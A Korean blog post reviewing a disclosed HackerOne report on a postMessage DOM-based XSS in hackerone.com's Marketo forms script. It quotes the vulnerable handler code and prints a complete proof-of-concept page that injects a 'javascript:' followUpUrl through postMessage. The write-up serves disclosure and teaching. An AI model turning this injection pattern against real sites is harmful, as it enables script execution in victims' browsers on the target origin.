postMessage XSS on HackerOne(by adac95) Review
주중에 HackerOne 리포트 뒤적뒤적 찾아보다가 postMessage를 이용한 DOM Base XSS가 있어 공유차 글 작성해봅니다.
https://hackerone.com/reports/398054
postMessage XSS?
postMessage를 이용하면 크로스 도메인간 데이터 송/수신 및 처리가 가능한데, 이 구간에서 사용자 입력에 대한 검증이 부족할 때 XSS 삽입을 할 수 있습니다. 예전에 글 작성해뒀던게 있으니 자세한 내용은 아래 링크에서 참고해주세요~ https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html
postMessage XSS on HackerOne(by adac95)
adac95(Adam)은 이 취약점은 50만원정도(500$) 받았다고 하네요, 보통 XSS 버그바운티 가격선에서 받은 것 같습니다. 뭐 이건 중요한게 아니니 바로 내용을 보시죠.
우선 hackerone.com 내 contact 페이지쪽엔 Marketo forms2.js 가 있습니다. 정확한 기능은 잘 모르겠으나..(제가 분석한건 아니니)
우선 이 자바스크립트에는 PostMessage 처리 구간이 존재합니다. onMessage() 핸들러로 데이터를 전달받아서 처리하게 되는데 mktoReady가 true이면 onReady(), false이면 onResponse 가 호출됩니다.
$(window).on("message", onMessage);
function onMessage (e){
if(e.originalEvent && e.originalEvent.data){
var d;
try {
d = $.parseJSON(e.originalEvent.data);
}catch(ex){
return;
}
if(d.mktoReady){
onReady();
}else if(d.mktoResponse){
onResponse(d.mktoResponse)
}
}
}
onResponse에는 mktoResponse의 상태를 보고 error, success로 분기해주는 로직이 있습니다.
function onResponse(mktoResponse){
var requestId = mktoResponse["for"];
var request = inflight[requestId];
if(request){
if(mktoResponse.error){
request.error(mktoResponse.data);
}else{
request.success(mktoResponse.data);
}
}
delete inflight[requestId];
}
여기서 문제가 되는 부분은 success 분기 구간인데, 인자값으로 받은 데이터에서 url을 뽑아내고, 최종적으로 location.href에 들어가게 됩니다.
var success = function (data){
if(data.error){
onError(data);
}else if(data.formId){
var u = findCorrectFollowUpUrl(data);
if(false === onSuccess(values, u)){
return;
}
cookieHelper.removeCookieAllDomains("_mkto_purl");
location.href = u;
}
}
이 과정중에선 Js단에서 인자값에 대한 Escape 처리 등이 없었고, javascript: , data: 등의 구문이 들어오게 되며 그대로 스크립트로 실행하여 처리하게 될겁니당. 순서를 보면..
onResponse => request.success => data.err(에러 아닐 때 ) => location.href={User-Input}
PoC
결국 postMessage로 공격코드가 포함된 mktoResponse를 전달해주면 트리거됩니다.
<!DOCTYPE html>
<html>
<head>
<title>Hackerone PostMessage XSS</title>
</head>
<body>
<p>You want to contact Hackerone! Click this button and submit the form!</p>
<button id="openH1">Click Here</button>
<script>
var h1Win;
function openWin(){
h1Win = window.open("https://www.hackerone.com/#contact/");
setInterval(sendMessage, 250);
}
function sendMessage(){
h1Win.postMessage('{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"javascript:alert(document.domain);//","aliId":17144124}}}',"*");
}
document.getElementById("openH1").addEventListener('click', openWin);
</script>
</body>
</html>
hackerone.com에서는 아래와 같은 포맷으로 데이터를 받았을테고, 결국 followUpUrl을 따라서 javascript 구문이 동작하게 됩니다.
{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"javascript:alert(document.domain);//","aliId":17144124}}}
https://hackerone.com/reports/398054 |
Conclusion
솔직히 postMessage 구간은 신경쓰지 않으면 눈에 굉장히 안들어오긴 합니다. (모든 페이지에서 postMesage가 사용되는지 체크, 검증하기엔 좀 그렇죠. 해도 ZAP/Burp Extension 등으로 해야 그나마 나을듯요)
전에 내용으로만 정리한게 실제로 나와주니 좀 반갑긴하네요.. (물론 예전 글 썼던 2016년쯤, 일하다가 한번 저걸로 찾은적이 있긴합니다. 그게 처음이자 마지막이였네요…ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ)
그나저나 전 버그바운티 하기 왜이리 귀찮을까요… 손이 안가네요
media0.giphy.com/media/NWg7M1VlT101W/giphy.gif |
Reference
https://hackerone.com/reports/398054 https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html